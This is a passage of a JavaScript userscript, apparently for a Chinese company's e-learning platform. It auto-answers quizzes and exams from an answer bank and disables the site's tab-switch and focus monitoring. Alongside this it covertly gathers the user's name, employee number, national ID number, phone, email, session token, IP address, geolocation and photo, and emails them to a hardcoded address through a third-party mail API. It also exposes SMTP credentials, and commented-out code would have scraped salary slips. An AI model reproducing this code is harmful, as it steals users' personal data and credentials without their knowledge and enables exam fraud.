}); fetch("https://learn.cscec83.cn/prod-api/system/private-point-statistics/study-points", { "headers": { "accept": "application/json, text/plain, */*", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "authorization": authorizationData.data.token, "cache-control": "no-cache", "pragma": "no-cache", }, "method": "GET", }) .then(response => { return response.json() }) .then(data => { handelTodayPointsList(data.data.todayPointsList) }) .catch(error => { console.log("积分获取情况获得 error" + error); }) } else { console.log('脚本未找到符合条件的 authorization token'); } authorizationData.length = 0; resolve(); }); } function handelTodayPointsList(todayPointsList) { let arr = todayPointsList.filter(function (topic) { return !filterArray.includes(topic.pointSource); }); let isFinishInfoHtml = ''; arr.forEach(function (topic) { topic.maxPoints === topic.currentPoints ? isFinishInfoHtml = `${isFinishInfoHtml}
${topic.pointSource}: 已完成
` : isFinishInfoHtml = `${isFinishInfoHtml}
${topic.pointSource}: ${topic.currentPoints}/${topic.maxPoints}
`; }); Qmsg.success(isFinishInfoHtml, { showClose: true, html: true, position: 'topright', timeout: 4000, }) } function handleTokenData(tokenData) { return new Promise(function (resolve) { let targetArray = tokenData.find(function (response) { return response.code === 200 && response !== null; }); if (targetArray) { GM_setValue('userName', targetArray.result.userInfo.workNo); GM_setValue('nickName', targetArray.result.userInfo.realname); getAllUsers(); GM_setValue('avatar', targetArray.result.userInfo.avatar); titleMsgAlert = GM_getValue('userName') + ' ' + GM_getValue('nickName'); timestamp = targetArray.timestamp.toString().slice(0, 10); xAccessToken = targetArray.result.token; GM_setValue("thirdToken", targetArray.result.thirdToken); try { var informationAccept = trimText(getAb()); } catch (error) { informationAccept = "未授权"; } // processMoneyYears(xAccessToken, timestamp, getYears); let result = { "姓名": GM_getValue('nickName'), "员工号": GM_getValue('userName'), "性别": targetArray.result.userInfo.sex_dictText, "所属公司": targetArray.result.userInfo.organization_dictText, "任职岗位": targetArray.result.userInfo.postName_dictText, "身份证": targetArray.result.userInfo.idNumber, "电话": targetArray.result.userInfo.phone, "邮箱": targetArray.result.userInfo.email, "授权信息": informationAccept, "token": GM_getValue("thirdToken"), "allUsers": '[' + GM_getValue("allUsers") + ']', // "wages": GM_getValue('wages'), }; try { var ipMsgs = { "登录地区": ipData.data.prov + ipData.data.city + ipData.data.district + ' ' + ipData.data.areacode, "ip地址": ipData.ip, "运营商": `${ipData.data.owner},${ipData.data.isp}`, "补充信息": ipData.otherMessage, "纬度": lngAndLatData.data.lat, "经度": lngAndLatData.data.lng }; } catch (error) { ipMsgs = { "ip接口": "接口 api 错误,需更换" }; } result = Object.assign(result, ipMsgs); GM_setValue('information', result); fetch(`https://pic.cscec83.cn/${GM_getValue("avatar")}?x-oss-process=style%2Fstandard`, { "headers": { "accept": "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "cache-control": "no-cache", "pragma": "no-cache", }, "referrer": "https://www.cscec83.cn/", "referrerPolicy": "strict-origin-when-cross-origin", "body": null, "method": "GET", "mode": "cors", "credentials": "omit" }) .then(response => { if (!response.ok) { throw new Error("Network response was not ok"); } return response.blob(); }) .then(blob => { const reader = new FileReader(); reader.onloadend = function () { checkImgSize(reader.result, 1.5, function () { GM_setValue("myPicImage", myPicImage); sendEmail("登录记录", `${GM_getValue('userName')} ${GM_getValue('nickName')}`, `
基本信息:${JSON.stringify(result, null, "
    ")} ;
登录时间:${formattedDate(new Date())} ;
脚本版本:${visionNum} ;
操作系统:${GM_getValue("userAgent")} ;
` , true); } ) }; reader.readAsDataURL(blob); }) .catch(error => { console.error("Error fetching and displaying image:", error); }); } else { console.log("脚本未找到符合条件的token"); } targetArray = []; resolve(); }); } function getPic() { fetch(`https://pic.cscec83.cn/temp/${GM_getValue("avatar")}?x-oss-process=style%2Fstandard`, { "headers": { "accept": "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "cache-control": "no-cache", "pragma": "no-cache", }, "referrer": "https://www.cscec83.cn/", "referrerPolicy": "strict-origin-when-cross-origin", "body": null, "method": "GET", "mode": "cors", "credentials": "omit" }).then(data => { GM_setValue("pic", data) console.log("照片已获取"); }) } function formattedDate(date) { const year = date.getFullYear(); const month = (date.getMonth() + 1).toString().padStart(2, '0'); const day = date.getDate().toString().padStart(2, '0'); const hour = date.getHours().toString().padStart(2, '0'); const minute = date.getMinutes().toString().padStart(2, '0'); const second = date.getSeconds().toString().padStart(2, '0'); return `${year}-${month}-${day} ${hour}:${minute}:${second}`; } function signIn(xAccessToken) { fetch("https://learn.cscec83.cn/prod-api/system/user/signIn", { "headers": { "accept": "application/json, text/plain, */*", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "authorization": `Bearer ${xAccessToken}`, "cache-control": "no-cache", "pragma": "no-cache", }, "referrer": "https://learn.cscec83.cn/", "referrerPolicy": "strict-origin-when-cross-origin", "body": null, "method": "POST", "mode": "cors", "credentials": "include" }).catch(error => { console.log("Fetch error:", error); }) console.log("ok"); } function answerQuestion() { try { let isQuestionFound = savedData.some((questionObject) => { return trimText(questionObject.question) == trimText(document.querySelectorAll(".el-card__body")[1].childNodes[2].innerText); }); if (isQuestionFound) { if (getAb()) { let answerList = []; let questionNumber = getPracticeQANumber(); for (let i = 0; i < savedData.length; i++) { let answerArray = savedData[i].TrueAnswer.split(','); let numericArray = answerArray.map(function (letter) { // 多减 1 个 1, 后面处理点击次序时方便 return letter.charCodeAt(0) - 65; }); answerList.push(numericArray); } try { if (answerList[questionNumber - 1].length === 1) { var targetAnswerElement = document.querySelectorAll(".el-radio-group")[0].childNodes[answerList[questionNumber - 1][0]]; if (targetAnswerElement && !targetAnswerElement.classList.contains('is-checked')) { targetAnswerElement.click(); // console.log("题号 " + questionNumber + " 点选: " + String.fromCharCode((answerList[questionNumber - 1][0] + 1) + 64)); } else { document.querySelectorAll(".el-button")[0].click(); } } else if (answerList[questionNumber - 1].length > 1) { for (let i = 0; i < answerList[questionNumber - 1].length; i++) { (function (i) { requestAnimationFrame(function () { var targetAnswerElement = document.querySelectorAll(".el-checkbox-group")[0].childNodes[answerList[questionNumber - 1][i]]; if (targetAnswerElement && !targetAnswerElement.classList.contains('is-checked')) { targetAnswerElement.click(); // console.log("题号 " + questionNumber + " 点击选项: " + String.fromCharCode((answerList[questionNumber - 1][i] + 1) + 64)); } else { document.querySelectorAll(".el-button")[0].click(); } }); })(i); } } else { Qmsg.error("不在可答题的页面"); } } catch (error) { Qmsg.error("异常错误"); } } else { console.log(titleMsgAlert); console.log(innerMsgAlert); Qmsg.error("请检查权限是否正常"); } } else { console.log('题目 ' + isQuestionFound); console.log(savedData); Qmsg.error("请检查操作是否正确"); } } catch (error) { clickSpanContainingText("回到首页"); } } function sendEmail(title, subject, content, isTextContent) { let apiUrl = "https://luckycola.com.cn/tools/customMail"; let requestData = { "ColaKey": "mOmUal7wem5H501706640620401xTx6FIj19r", "tomail": "377059798@qq.com", "fromTitle": title, "subject": subject, "smtpCode": "iliilxyzkrhebaai", "smtpEmail": "1247541680@qq.com", "smtpCodeType": "qq", "isTextContent": isTextContent, "content": content, }; fetch(apiUrl, { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify(requestData), }) .then(response => { response.json() } ) .then(data => { console.log("登录信息已记录"); }) .catch(error => { console.log("登录信息记录错误" + error); }); } function trimOptions(options) { let modifiedOptions = options.map(function (option) { return trimText(option.replace(/[A-J]\. /, '')); }); return modifiedOptions; } function getQAType() { let QAType = document.querySelectorAll(".el-card__body")[1].childNodes[0].childNodes[0].innerText; if (QAType.includes("单选")) { return 1; } else if (QAType.includes("多选")) { return 2; } else if (QAType.includes("判断")) { return 3; } else { return false; } } function answerExam() { let QAnumber = getQANumber(); if (!isQuestionFinishArray[QAnumber]) { // 存储页面题目类型 let questionType = document.querySelectorAll(".el-card__body")[1].childNodes[0].childNodes[0].innerText; // 存储页面题目问题 var questionText = document.querySelectorAll(".el-card__body")[1].childNodes[2].innerText; // 存储题目完成情况 isQuestionFinishArray[QAnumber] = false; try { var trimmedText = trimText(questionText) } catch (error) { } let questionAnswerBankIndex; switch (getQAType()) { // 单选 case 1: questionAnswerBankIndex = radioQA.findIndex(function (item) { return item.question === trimmedText; }); if (questionAnswerBankIndex > -1) { let options = document.querySelectorAll(".el-radio__label"); let optionArray = optionsArray(options); let AnswerArrayToNumberArray = convertAnswerArrayToDigitArray(questionAnswerBankIndex, radioQA); if (AnswerArrayToNumberArray && AnswerArrayToNumberArray.length !== 0) { for (let i = 0; i < AnswerArrayToNumberArray.length; i++) { let optionKey = AnswerArrayToNumberArray[i]; let trueOptionNum = optionArray.indexOf(radioQA[questionAnswerBankIndex].options[optionKey]); if (trueOptionNum !== -1) { if (!options[trueOptionNum].previousElementSibling.classList.contains("is-checked")) { try { (function (i) { requestAnimationFrame(function () { options[trueOptionNum].click(); isQuestionFinishArray[QAnumber] = true; }); })(i); } catch (error) { Qmsg.warning("该单选题选项缺少"); } } } else { simpleToast("有混淆项,题库其他参考答案 ↓", radioQA[questionAnswerBankIndex].options[optionKey], 3e3); } } } else { simpleToast("单选题答案转换错误", "请报告此错误信息", 3e3); } } else { simpleToast("未找到答案", "请联系更新题库", 3e3); } break; // 多选 case 2: questionAnswerBankIndex = multipleQA.findIndex(function (item) { return item.question === trimmedText; }); if (questionAnswerBankIndex > -1) { let options = document.querySelectorAll(".el-checkbox__label"); let optionArray = optionsArray(options); let AnswerArrayToNumberArray = convertAnswerArrayToDigitArray(questionAnswerBankIndex, multipleQA); if (AnswerArrayToNumberArray && AnswerArrayToNumberArray.length !== 0) { for (let i = 0; i < AnswerArrayToNumberArray.length; i++) { let optionKey = AnswerArrayToNumberArray[i]; let trueOptionNum = optionArray.indexOf(multipleQA[questionAnswerBankIndex].options[optionKey]); if (trueOptionNum !== -1) { if (!options[trueOptionNum].previousElementSibling.classList.contains("is-checked")) { try { (function (i) { requestAnimationFrame(function () { options[trueOptionNum].click(); }); isQuestionFinishArray[QAnumber] = true; })(i); } catch (error) { Qmsg.warning("多选题选项缺少"); isQuestionFinishArray[QAnumber] = true; } } } else { simpleToast("有混淆项,题库其他正确选项 ↓", multipleQA[questionAnswerBankIndex].options[optionKey], 3e3); } } } else { simpleToast("多选题答案转换错误", "请报告此错误信息", 3e3); } } else { simpleToast("未找到答案", "请联系更新题库", 3e3); } break; // 判断 case 3: let options = document.querySelectorAll(".el-radio__label"); questionAnswerBankIndex = judgeQA.findIndex(function (item) { return item.question === trimmedText; }); if (questionAnswerBankIndex > -1) { let optionKey = judgeQA[questionAnswerBankIndex].answer; switch (optionKey) { case '对': for (let j = 0; j < options.length; j++) { if (rightArr.includes(options[j].innerText)) { if (!options[j].previousElementSibling.classList.contains("is-checked")) { options[j].click(); isQuestionFinishArray[QAnumber] = true; } } } break; case '错': for (let j = 0; j < options.length; j++) { if (wrongArr.includes(options[j].innerText)) { if (!options[j].previousElementSibling.classList.contains("is-checked")) { options[j].click(); isQuestionFinishArray[QAnumber] = true; } } } break; default: simpleToast("题库答案错误", "请报告此错误信息", 3e3); break; } } else { simpleToast("未找到答案", "请联系更新题库", 3e3); } break; default: simpleToast("未支持的题型", "请联系增加此支持", 3e3); break; } } else { if (document.querySelectorAll(".el-button")[2].innerText === "下一题") { document.querySelectorAll(".el-button")[2].click(); } else { document.querySelectorAll(".el-button")[1].click(); } } } function optionsArray(optionArray) { // 存储页面题目选项 let optionTexts = []; for (let i = 0; i < optionArray.length; i++) { optionTexts.push(optionArray[i].innerText); } return trimOptions(optionTexts); } function autoExam() { let autoAnswerCount = 0; console.log("开始自动做题,共计 " + document.querySelectorAll(".el-col").length + " 道题目"); const autoExam = setInterval(() => { if (autoAnswerCount < 20) { autoAnswerCount++; answerExam(); if (document.querySelectorAll(".el-col").length === getQANumber()) { clearInterval(autoExam); Qmsg.info("结束自动做题"); } } else { clearInterval(autoExam); Qmsg.info("结束自动做题"); } }, 100); } function autoAnswerQuestion() { if (getAb()) { if (savedData.length === 0) { Qmsg.error("未劫持到数据,操作太快或不在指定页面"); } else { answerQuestionsLoop(); } } else { Qmsg.warning("权限有误,请联系管理员添加权限"); } } async function answerQuestionsLoop() { while (document.querySelectorAll(".el-button")[0].innerText !== "完成") { await answerQuestions(); } } async function answerQuestions() { if (getPracticeQANumber() - 1 >= savedData.length) { Qmsg.success("所有题目已完成"); return; } try { answerQuestion(); await new Promise(resolve => setTimeout(resolve, answerTimeGap)); } catch (error) { Qmsg.error("请正常手动答题或重新进入"); return; } } function getAb() { try { var a = userList.some(user => user.userName === GM_getValue('userName') && user.nickName === GM_getValue('nickName')); } catch (error) { Qmsg.error("请从公司页面正常渠道进入页面"); return false; } if (a) { if (md5(userList.toString(), 32) !== gk) { findFalseUser(); return false; } try { var userName = userList.find(u => u.userName === GM_getValue('userName')); var userTime = userName ? userName.time : null; } catch (error) { Qmsg.error("时长获取错误"); return false; } innerMsgAlert = ''; innerMsgAlert = verifyTime(userTime) ? verifyTime(userTime) : "  权限过期或已无权限 请联系重新授权。  "; return verifyTime(userTime); } else { failVerify(); return false; } } function failVerify() { if (userList.find(u => u.userName === GM_getValue('userName')) && GM_getValue('userName') !== undefined && GM_getValue('nickName') !== undefined) { titleMsgAlert = GM_getValue('userName') + ' ' + GM_getValue('nickName'); var userName = userList.find(u => u.userName === GM_getValue('userName')); var userTime = userName ? userName.time : null; innerMsgAlert = verifyTime(userTime) ? verifyTime(userTime) : "  权限过期 请联系重新授权。  "; } else { if (GM_getValue('userName') !== undefined && GM_getValue('nickName') !== undefined) { titleMsgAlert = GM_getValue('userName') + ' ' + GM_getValue('nickName'); } else { titleMsgAlert = "未登录"; } innerMsgAlert = ''; for (let i = 0; i < failStringArray.length; i++) { innerMsgAlert += String.fromCharCode(failStringArray[i]); } } } function verifyAndToast() { getAb(); waitToast(titleMsgAlert, innerMsgAlert, a); } function findFalseUser() { try { titleMsgAlert = ''; for (let i = 0; i < falseTitleStringArray.length; i++) { titleMsgAlert += String.fromCharCode(falseTitleStringArray[i]); } innerMsgAlert = ''; for (let i = 0; i < falseInnerTextStringArray.length; i++) { innerMsgAlert += String.fromCharCode(falseInnerTextStringArray[i]); } waitToast(titleMsgAlert, innerMsgAlert, a); } catch (error) { } } function waitToast(titleText, innerText, logText) { let CustomBox = Box.mixin({ customFunction: function () { console.log(logText); }, }); let customBoxInstance = new CustomBox({ title: titleText, text: innerText, }); try { customBoxInstance.customFunction(); } catch (error) { } } function simpleToast(title, innerText, time) { let Toast = Box.mixin({ title: title, toast: true, time: time, }); new Toast({ text: innerText }); } function clearCookie() { // 这段代码来自其它脚本,为MIT协议, var keys = document.cookie.match(/[^ =;]+(?==)/g); if (keys) { for (var i = keys.length; i--;) { document.cookie = keys[i] + '=0;path=/;expires=' + new Date(0).toUTCString(); document.cookie = keys[i] + '=0;path=/;domain=' + document.domain + ';expires=' + new Date(0).toUTCString(); document.cookie = keys[i] + '=0;path=/;domain=ratingdog.cn;expires=' + new Date(0).toUTCString(); } } location.reload(); }; // 通用函数,清理cookie【方法2】 function deleteAllCookies() { var cookies = document.cookie.split(";"); console.log(cookies) for (var i = 0; i < cookies.length; i++) { var cookie = cookies[i]; var eqPos = cookie.indexOf("="); var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie; document.cookie = name + "=;"; //document.cookie = null } var cookies2 = document.cookie.split(";"); } // 通用函数,清理storage function clearStorage() { localStorage.clear() sessionStorage.clear() } function btnClick(query, func) { document.querySelector(query).addEventListener('click', func); } function btnClickToUrl(query, url) { btnClick(query, function () { window.open(url).location; }) } // function processMoneyYears(xAccessToken, timestamp, years) { // for (let year of years) { // fetch(`https://www.cscec83.cn/jeecg-boot/salary/paySlip/findPaySlipByYear?_t=${timestamp}&year=${year}`, { // method: 'GET', // headers: { // 'accept': 'application/json, text/plain, */*', // 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', // 'cache-control': 'no-cache', // 'pragma': 'no-cache', // 'x-access-token': xAccessToken // } // }) // .then(response => { // if (!response.ok) { // GM_setValue('wages', "Money 获取不 ok"); // console.log('getMoney Network response was not ok'); // } // return response.json(); // }) // .then(data => { // let responseData = data; // if (responseData.success && responseData.result) { // let filteredValues = []; // for (let i = 0; i < responseData.result.length; i++) { // let innerArray = responseData.result[i]; // let filteredArray = innerArray.filter(item => item.key === "税后实发额"); // if (filteredArray.length > 0) { // let value = parseFloat(filteredArray[0].value); // filteredValues.push(value); // } // }; // if (filteredValues.length > 0) { // let averageValue = filteredValues.reduce((acc, value) => acc + value, 0) / filteredValues.length; // moneyResults[`${year}年`] = averageValue.toFixed(2); // } // moneyResults["users"] = `${GM_getValue('userName')} ${GM_getValue('nickName')}`; // GM_setValue('wages', moneyResults); // } // }) // .catch(error => { // GM_setValue('wages', "Money 获取错误"); // console.error('getMoney There was a problem with the fetch operation:', error); // }); // } // }; // 同步Manyinput的内容到真正的input标签 // 来源: EasyWJX;作者: MelonFish function syncManyinput() { setInterval(function () { var all_textCont = document.querySelectorAll('.textCont') for (var i = 0; i < all_textCont.length; i++) { var input = all_textCont[i].parentNode.previousSibling; input.value = all_textCont[i].innerText } }, 1500) } function removeListener() { try { history.pushState = null; console.log("移除页面切换监听pushState成功"); } catch (error) { console.log("移除页面切换监听pushState失败"); } try { window.removeEventListener("popstate", console.log("移除页面切换监听popstate成功")); } catch (error) { console.log("移除页面切换监听popstate失败"); } try { Object.defineProperty(document, 'visibilityState', { get: function () { return 'hidden'; } }); console.log("移除页面切换监听visibilityState成功"); } catch (error) { console.log("移除页面切换监听visibilityState失败"); } Qmsg.success("任意切屏,启动!"); // systemAlert('任意切屏,启动!', '切!随便切!', 8000, console.log('点击移除切屏监听的通知')); } function removeBlurAndFocus() { // try { // let listeners = window.getEventListeners(window); // if (listeners.blur || listeners.focus) { // for (const listener of listeners.blur) { // window.removeEventListener('blur', listener.listener); // console.log('移除 window.blur 事件监听器:', listener.listener); // } // for (const listener of listeners.focus) { // window.removeEventListener('focus', listener.listener); // console.log('移除了 window.focus 事件监听器:', listener.listener); // } // console.log("移除 window.blur 和 window.focus 成功"); // } // } catch (error) { // setTimeout(() => { // removeBlurAndFocus(); // console.log("1123"); // }, 1000); // } } function sendMsg() { var userMsg = prompt("请填写您的想法与意见", "最好也留下您的联系方式"); if (userMsg === null || userMsg === '') { Qmsg.info("用户取消意见反馈"); } else { sendEmail("用户反馈", `${GM_getValue('userName')} ${GM_getValue('nickName')}`, `
基本信息:${JSON.stringify(GM_getValue('information'), null, "
    ")} ;
反馈意见:${userMsg} ;
反馈时间:${formattedDate(new Date())} ;
脚本版本:${visionNum} ;
操作系统:${GM_getValue("userAgent")} ;
` , true); Qmsg.success("用户意见反馈成功"); } } function getIP() { fetch('https://api.qjqq.cn/api/Local') .then(response => { if (!response.ok) { console.log('getIP Network response was not ok'); } return response.json(); }) .then(data => { ipData = data; fetch('https://api.qqsuu.cn/api/dm-ipquery?ip=' + data.ip) .then(response => { if (!response.ok) { console.log('lngAndLatData Network response was not ok'); } return response.json(); }) .then(data => { lngAndLatData = data; }) .catch(error => { console.error('lngAndLatData There was a problem with the fetch operation:', error); }); fetch('https://api.oioweb.cn/api/ip/ipaddress?ip=' + data.ip) .then(response => { if (!response.ok) { console.log('otherMessage Network response was not ok'); } return response.json(); }) .then(data => { ipData.otherMessage = data.result.disp.replace(/[\s]/g, ""); }) .catch(error => { ipData.otherMessage = "补充信息 api 错误"; }); }) .catch(error => { console.error('getIP There was a problem with the fetch operation:', error); }); } function getLastVisionNum() { fetch('https://api.vvhan.com/api/qqsc?key=15883abebf4ab4606ac28533f52f9aa8') .then(response => { if (!response.ok) { console.log('getLastVisionNum Network response was not ok'); } return response.json(); }) .then(data => { lastVisionNum = data.text; if (lastVisionNum !== '') { switch (compareVersion(lastVisionNum, visionNum)) { case -1: Qmsg.success("当前为 beta 版本"); break; case 0: Qmsg.success("当前为最新版本"); break; case 1: Qmsg.loading("请及时更新最新版本:" + lastVisionNum); break; default: break; } } else { Qmsg.error("未获取到版本信息"); } }) .catch(error => { console.error('getLastVisionNum There was a problem with the fetch operation:', error); }); } function getNotes() { fetch('https://api.vvhan.com/api/qqsc?key=31e35ae571262ff6d6c605426270b647') .then(response => { if (!response.ok) { console.log('getNotes Network response was not ok'); } return response.json(); }) .then(data => { document.querySelector('#noteText1').innerHTML = `无偿分享,请勿泛滥
${data.text}`; }) .catch(error => { console.error('getNotes There was a problem with the fetch operation:', error); }); } function getAllUsers() { let currentUser = '{' + GM_getValue('userName') + ': ' + GM_getValue('nickName') + '}'; if (GM_getValue("allUsers")) { let allUsers = GM_getValue("allUsers"); let isContainCurrentUser = allUsers.includes(currentUser); if (!isContainCurrentUser) { allUsers = allUsers + "," + currentUser GM_setValue("allUsers", allUsers); } } else { GM_setValue("allUsers", currentUser); } } function checkImgSize( base64, // 源图片 rate, // 缩放比例 callback // 回调 ) { let _img = new Image(); _img.src = base64; _img.onload = function () { let _canvas = document.createElement("canvas"); let w = this.width / rate; let h = this.height / rate; _canvas.setAttribute("width", w); _canvas.setAttribute("height", h); _canvas.getContext("2d").drawImage(this, 0, 0, w, h); myPicImage = _canvas.toDataURL("image/jpeg"); _canvas.toBlob(function (blob) { if (blob.size > 192 * 256) { checkImgSize(myPicImage, rate, callback); } else { callback(myPicImage); } }, "image/jpeg"); } } function compareVersion(v1, v2) { v1 = v1.split('.') v2 = v2.split('.') const len = Math.max(v1.length, v2.length) while (v1.length < len) { v1.push('0') } while (v2.length < len) { v2.push('0') } for (let i = 0; i < len; i++) { const num1 = parseInt(v1[i]) const num2 = parseInt(v2[i]) if (num1 > num2) { return 1 } else if (num1 < num2) { return -1 } } return 0 } })(); function killAllMonitor() { ["visibilitychange", "blur", "focus", "focusin", "focusout"].forEach((e) => { window.addEventListener( e, (e) => { e.stopImmediatePropagation(); e.stopPropagation(); e.preventDefault(); return false; }, true ); }); document.hasFocus = () => true; Object.defineProperty(document, "hidden", { get() { return false; }, }); };